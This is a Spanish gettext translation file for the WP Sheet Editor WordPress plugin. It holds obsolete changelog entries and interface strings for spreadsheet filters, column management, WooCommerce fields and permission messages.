                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-es_PE.po000064400001165603147600365160016704 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_PE\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" "La columna aparecerá en la hoja de cálculo y en las exportaciones si el " "usuario tiene un rol con la capacidad requerida." #: columns-manager/columns-manager.php:1143 msgid "User capabilities that can edit this column" msgstr "Capacidades de usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1143 msgid "" "The column will be read only if the user doesn't have a role with the " "required capability." msgstr "" "La columna puede ser leía solo si el usuario no tiene un rol con la " "capacidad requerida." #: columns-manager/columns-manager.php:1154 msgid "Separated with commas" msgstr "Separados por comas" #: columns-manager/columns-manager.php:1155 msgid "Serialized array" msgstr "Array serializado" #: columns-manager/columns-manager.php:1158 msgid "File ID" msgstr "ID del archivo" #: columns-manager/columns-manager.php:1159 formulas/inc/ui.php:998 #: universal-sheet/views/import-modal.php:43 msgid "File URL" msgstr "URL del archivo" #: columns-manager/columns-manager.php:1162 msgid "Use default" msgstr "Usar por defecto" #: columns-manager/columns-manager.php:1163 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "Yes" msgstr "Sí" #: columns-manager/columns-manager.php:1164 formulas/inc/ui.php:554 #: woocommerce/inc/attributes.php:281 msgid "No" msgstr "No" #: columns-manager/columns-manager.php:1167 #: columns-manager/columns-manager.php:1172 #: wp-sheet-editor/dev/inc/api/bootstrap.php:463 #: wp-sheet-editor/dev/inc/api/custom-tables-bootstrap.php:22 msgid "ID" msgstr "ID" #: columns-manager/columns-manager.php:1168 msgid "Username" msgstr "Nombre de usuario" #: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: 